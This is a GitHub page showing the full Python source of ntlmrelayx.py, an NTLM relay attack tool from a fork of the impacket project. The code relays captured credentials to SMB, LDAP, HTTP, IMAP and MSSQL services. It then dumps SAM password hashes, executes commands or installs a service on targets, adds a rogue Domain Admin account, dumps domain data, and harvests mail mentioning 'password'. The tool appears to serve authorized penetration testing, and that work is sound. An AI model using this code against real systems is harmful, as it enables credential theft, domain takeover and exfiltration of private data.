forked from fortra/impacket
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathntlmrelayx.py
executable file
·472 lines (417 loc) · 22.1 KB
/
ntlmrelayx.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
#!/usr/bin/python
# Copyright (c) 2013-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Generic NTLM Relay Module
#
# Authors:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
#
# Description:
# This module performs the SMB Relay attacks originally discovered
# by cDc. It receives a list of targets and for every connection received it
# will choose the next target and try to relay the credentials. Also, if
# specified, it will first to try authenticate against the client connecting
# to us.
#
# It is implemented by invoking a SMB and HTTP Server, hooking to a few
# functions and then using the smbclient portion. It is supposed to be
# working on any LM Compatibility level. The only way to stop this attack
# is to enforce on the server SPN checks and or signing.
#
# If the target system is enforcing signing and a machine account was provided,
# the module will try to gather the SMB session key through
# NETLOGON (CVE-2015-0005)
#
# If the authentication against the targets succeed, the client authentication
# success as well and a valid connection is set against the local smbserver.
# It's up to the user to set up the local smbserver functionality. One option
# is to set up shares with whatever files you want to the victim thinks it's
# connected to a valid SMB server. All that is done through the smb.conf file or
# programmatically.
#
import argparse
import sys
import thread
import logging
import random
import string
import re
import os
from threading import Thread
from impacket import version, smb3, smb
from impacket.examples import logger
from impacket.examples import serviceinstall
from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
from impacket.smbconnection import SMBConnection
from smbclient import MiniImpacketShell
class SMBAttack(Thread):
def __init__(self, config, SMBClient, username):
Thread.__init__(self)
self.daemon = True
if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
else:
self.__SMBConnection = SMBClient
self.config = config
self.__answerTMP = ''
if self.config.interactive:
#Launch locally listening interactive shell
self.tcpshell = TcpShell()
else:
self.tcpshell = None
if self.config.exeFile is not None:
self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)
def __answer(self, data):
self.__answerTMP += data
def run(self):
# Here PUT YOUR CODE!
if self.tcpshell is not None:
logging.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
#Start listening and launch interactive shell
self.tcpshell.listen()
self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
self.shell.cmdloop()
return
if self.config.exeFile is not None:
result = self.installService.install()
if result is True:
logging.info("Service Installed.. CONNECT!")
self.installService.uninstall()
else:
from impacket.examples.secretsdump import RemoteOperations, SAMHashes
samHashes = None
try:
# We have to add some flags just in case the original client did not
# Why? needed for avoiding INVALID_PARAMETER
flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
flags2 |= smb.SMB.FLAGS2_LONG_NAMES
self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
remoteOps = RemoteOperations(self.__SMBConnection, False)
remoteOps.enableRegistry()
except Exception, e:
# Something wen't wrong, most probably we don't have access as admin. aborting
logging.error(str(e))
return
try:
if self.config.command is not None:
remoteOps._RemoteOperations__executeRemote(self.config.command)
logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
self.__answerTMP = ''
self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
else:
bootKey = remoteOps.getBootKey()
remoteOps._RemoteOperations__serviceDeleted = True
samFileName = remoteOps.saveSAM()
samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
samHashes.dump()
samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
except Exception, e:
logging.error(str(e))
finally:
if samHashes is not None:
samHashes.finish()
if remoteOps is not None:
remoteOps.finish()
#Define global variables to prevent dumping the domain twice
dumpedDomain = False
addedDomainAdmin = False
class LDAPAttack(Thread):
def __init__(self, config, LDAPClient, username):
Thread.__init__(self)
self.daemon = True
#Import it here because non-standard dependency
self.ldapdomaindump = __import__('ldapdomaindump')
self.client = LDAPClient
self.username = username.decode('utf-16le')
#Global config
self.config = config
def addDA(self, domainDumper):
global addedDomainAdmin
if addedDomainAdmin:
logging.error('DA already added. Refusing to add another')
return
#Random password
newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
#Random username
newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))
ucd = {
'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
'distinguishedName': 'CN=%s,CN=Users,%s' % (newUser,domainDumper.root),
'cn': newUser,
'sn': newUser,
'givenName': newUser,
'displayName': newUser,
'name': newUser,
'userAccountControl': 512,
'accountExpires': 0,
'sAMAccountName': newUser,
'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
}
res = self.client.connection.add('CN=%s,CN=Users,%s' % (newUser,domainDumper.root),['top','person','organizationalPerson','user'],ucd)
if not res:
logging.error('Failed to add a new user: %s' % str(self.client.connection.result))
else:
logging.info('Adding new user with username: %s and password: %s result: OK' % (newUser,newPassword))
domainsid = domainDumper.getRootSid()
dagroupdn = domainDumper.getDAGroupDN(domainsid)
res = self.client.connection.modify(dagroupdn, {
'member': [(self.client.MODIFY_ADD, ['CN=%s,CN=Users,%s' % (newUser, domainDumper.root)])]})
if res:
logging.info('Adding user: %s to group Domain Admins result: OK' % newUser)
logging.info('Domain Admin privileges aquired, shutting down...')
addedDomainAdmin = True
thread.interrupt_main()
else:
logging.error('Failed to add user to Domain Admins group: %s' % str(self.client.connection.result))
def run(self):
global dumpedDomain
#Set up a default config
domainDumpConfig = self.ldapdomaindump.domainDumpConfig()
#Change the output directory to configured rootdir
domainDumpConfig.basepath = self.config.lootdir
#Create new dumper object
domainDumper = self.ldapdomaindump.domainDumper(self.client.server, self.client.connection, domainDumpConfig)
if domainDumper.isDomainAdmin(self.username):
logging.info('User is a Domain Admin!')
if self.config.addda:
if 'ldaps' in self.client.target:
self.addDA(domainDumper)
else:
logging.error('Connection to LDAP server does not use LDAPS, to enable adding a DA specify the target with ldaps:// instead of ldap://')
else:
logging.info('Not adding a new Domain Admin because of configuration options')
else:
logging.info('User is not a Domain Admin')
if not dumpedDomain and self.config.dumpdomain:
#do this before the dump is complete because of the time this can take
dumpedDomain = True
logging.info('Dumping domain info for first time')
domainDumper.domainDump()
logging.info('Domain info dumped into lootdir!')
class HTTPAttack(Thread):
def __init__(self, config, HTTPClient, username):
Thread.__init__(self)
self.daemon = True
self.config = config
self.client = HTTPClient
self.username = username
def run(self):
#Default action: Dump requested page to file, named username-targetname.html
#You can also request any page on the server via self.client.session,
#for example with:
#result = self.client.session.get('http://secretserver/secretpage.html')
#print result.content
#Remove protocol from target name
safeTargetName = self.client.target.replace('http://','').replace('https://','')
#Replace any special chars in the target name
safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName)
#Combine username with filename
fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html'
#Write it to the file
with open(os.path.join(self.config.lootdir,fileName),'w') as of:
of.write(self.client.lastresult)
class IMAPAttack(Thread):
def __init__(self, config, IMAPClient, username):
Thread.__init__(self)
self.daemon = True
self.config = config
self.client = IMAPClient
self.username = username
def run(self):
#Default action: Search the INBOX for messages with "password" in the header or body
targetBox = self.config.mailbox
result, data = self.client.session.select(targetBox,True) #True indicates readonly
if result != 'OK':
logging.error('Could not open mailbox %s: %s' % (targetBox,data))
logging.info('Opening mailbox INBOX')
targetBox = 'INBOX'
result, data = self.client.session.select(targetBox,True) #True indicates readonly
inboxCount = int(data[0])
logging.info('Found %s messages in mailbox %s' % (inboxCount,targetBox))
#If we should not dump all, search for the keyword
if not self.config.dump_all:
result, rawdata = self.client.session.search(None,'OR','SUBJECT','"%s"' % self.config.keyword,'BODY','"%s"' % self.config.keyword)
#Check if search worked
if result != 'OK':
logging.error('Search failed: %s' % rawdata)
return
dumpMessages = []
#message IDs are separated by spaces
for msgs in rawdata:
dumpMessages += msgs.split(' ')
if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max:
dumpMessages = dumpMessages[:self.config.dump_max]
else:
#Dump all mails, up to the maximum number configured
if self.config.dump_max == 0 or self.config.dump_max > inboxCount:
dumpMessages = range(1,inboxCount+1)
else:
dumpMessages = range(1,self.config.dump_max+1)
numMsgs = len(dumpMessages)
if numMsgs == 0:
logging.info('No messages were found containing the search keywords')
else:
logging.info('Dumping %d messages found by search for "%s"' % (numMsgs,self.config.keyword))
for i,msgIndex in enumerate(dumpMessages):
#Fetch the message
result, rawMessage = self.client.session.fetch(msgIndex, '(RFC822)')
if result != 'OK':
logging.error('Could not fetch message with index %s: %s' % (msgIndex,rawMessage))
continue
#Replace any special chars in the mailbox name and username
mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox)
textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le'))
#Combine username with mailboxname and mail number
fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml'
#Write it to the file
with open(os.path.join(self.config.lootdir,fileName),'w') as of:
of.write(rawMessage[0][1])
logging.info('Done fetching message %d/%d' % (i+1,numMsgs))
#Close connection cleanly
self.client.session.logout()
class MSSQLAttack(Thread):
def __init__(self, config, MSSQLClient):
Thread.__init__(self)
self.config = config
self.client = MSSQLClient
def run(self):
if self.config.queries is None:
logging.error('No SQL queries specified for MSSQL relay!')
else:
for query in self.config.queries:
logging.info('Executing SQL: %s' % query)
self.client.sql_query(query)
self.client.printReplies()
self.client.printRows()
# Process command-line arguments.
if __name__ == '__main__':
RELAY_SERVERS = ( SMBRelayServer, HTTPRelayServer )
ATTACKS = { 'SMB': SMBAttack, 'LDAP': LDAPAttack, 'HTTP': HTTPAttack, 'MSSQL': MSSQLAttack, 'IMAP': IMAPAttack}
# Init the example's logger theme
logger.init()
print version.BANNER
#Parse arguments
parser = argparse.ArgumentParser(add_help = False, description = "For every connection received, this module will "
"try to relay that connection to specified target(s) system or the original client")
parser._optionals.title = "Main options"
#Main arguments
parser.add_argument("-h","--help", action="help", help='show this help message and exit')
parser.add_argument('-t',"--target", action='store', metavar = 'TARGET', help='Target to relay the credentials to, '
'can be an IP, hostname or URL like smb://server:445 If unspecified, it will relay back to the client')
parser.add_argument('-tf', action='store', metavar = 'TARGETSFILE', help='File that contains targets by hostname or '
'full URL, one per line')
parser.add_argument('-w', action='store_true', help='Watch the target file for changes and update target list '
'automatically (only valid with -tf)')
parser.add_argument('-i','--interactive', action='store_true',help='Launch an smbclient/mssqlclient console instead'
'of executing a command after a successful relay. This console will listen locally on a '
' tcp port and can be reached with for example netcat.')
parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection (HTTP server only)')
parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
parser.add_argument('-l','--lootdir', action='store', type=str, required=False, metavar = 'LOOTDIR',default='.', help='Loot '
'directory in which gathered loot such as SAM dumps will be stored (default: current directory).')
parser.add_argument('-of','--output-file', action='store',help='base output filename for encrypted hashes. Suffixes '
'will be added for ntlm and ntlmv2')
parser.add_argument('-machine-account', action='store', required=False, help='Domain machine account to use when '
'interacting with the domain to grab a session key for signing, format is domain/machine_name')
parser.add_argument('-machine-hashes', action="store", metavar = "LMHASH:NTHASH", help='Domain machine hashes, format is LMHASH:NTHASH')
parser.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON')
#SMB arguments
smboptions = parser.add_argument_group("SMB client options")
smboptions.add_argument('-e', action='store', required=False, metavar = 'FILE', help='File to execute on the target system. '
'If not specified, hashes will be dumped (secretsdump.py must be in the same directory)')
smboptions.add_argument('-c', action='store', type=str, required=False, metavar = 'COMMAND', help='Command to execute on '
'target system. If not specified, hashes will be dumped (secretsdump.py must be in the same '
'directory).')
#MSSQL arguments
mssqloptions = parser.add_argument_group("MSSQL client options")
mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
'(can specify multiple)')
#HTTP options (not in use for now)
# httpoptions = parser.add_argument_group("HTTP client options")
# httpoptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'
# '(can specify multiple)')
#LDAP options
ldapoptions = parser.add_argument_group("LDAP client options")
ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')
ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin')
#IMAP options
imapoptions = parser.add_argument_group("IMAP client options")
imapoptions.add_argument('-k','--keyword', action='store', metavar="KEYWORD", required=False, default="password", help='IMAP keyword to search for. '
'If not specified, will search for mails containing "password"')
imapoptions.add_argument('-m','--mailbox', action='store', metavar="MAILBOX", required=False, default="INBOX", help='Mailbox name to dump. Default: INBOX')
imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, '
'dump all emails')
imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump '
'(0 = unlimited, default: no limit)')
try:
options = parser.parse_args()
except Exception, e:
logging.error(str(e))
sys.exit(1)
if options.target is not None:
logging.info("Running in relay mode to single host")
mode = 'RELAY'
targetSystem = TargetsProcessor(singletarget=options.target)
else:
if options.tf is not None:
#Targetfile specified
logging.info("Running in relay mode to hosts in targetfile")
targetSystem = TargetsProcessor(targetlistfile=options.tf)
mode = 'RELAY'
else:
logging.info("Running in reflection mode")
targetSystem = None
mode = 'REFLECTION'
if options.r is not None:
logging.info("Running HTTP server in redirect mode")
if targetSystem is not None and options.w:
watchthread = TargetsFileWatcher(targetSystem)
watchthread.start()
for server in RELAY_SERVERS:
#Set up config
c = NTLMRelayxConfig()
c.setTargets(targetSystem)
c.setExeFile(options.e)
c.setCommand(options.c)
c.setMode(mode)
c.setAttacks(ATTACKS)
c.setLootdir(options.lootdir)
c.setOutputFile(options.output_file)
c.setLDAPOptions(options.no_dump,options.no_da)
c.setMSSQLOptions(options.query)
c.setInteractive(options.interactive)
c.setIMAPOptions(options.keyword,options.mailbox,options.all,options.imap_max)
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
if server is HTTPRelayServer and options.r is not None:
c.setMode('REDIRECT')
c.setRedirectHost(options.r)
#Use target randomization if configured and the server is not SMB
#SMB server at the moment does not properly store active targets so selecting them randomly will cause issues
if server is not SMBRelayServer and options.random:
c.setRandomTargets(True)
if options.machine_account is not None and options.machine_hashes is not None and options.domain is not None:
c.setDomainAccount( options.machine_account, options.machine_hashes, options.domain)
elif (options.machine_account is None and options.machine_hashes is None and options.domain is None) is False:
logging.error("You must specify machine-account/hashes/domain all together!")
sys.exit(1)
s = server(c)
s.start()
print ""
logging.info("Servers started, waiting for connections")
while True:
try:
sys.stdin.read()
except KeyboardInterrupt:
sys.exit(1)
else:
pass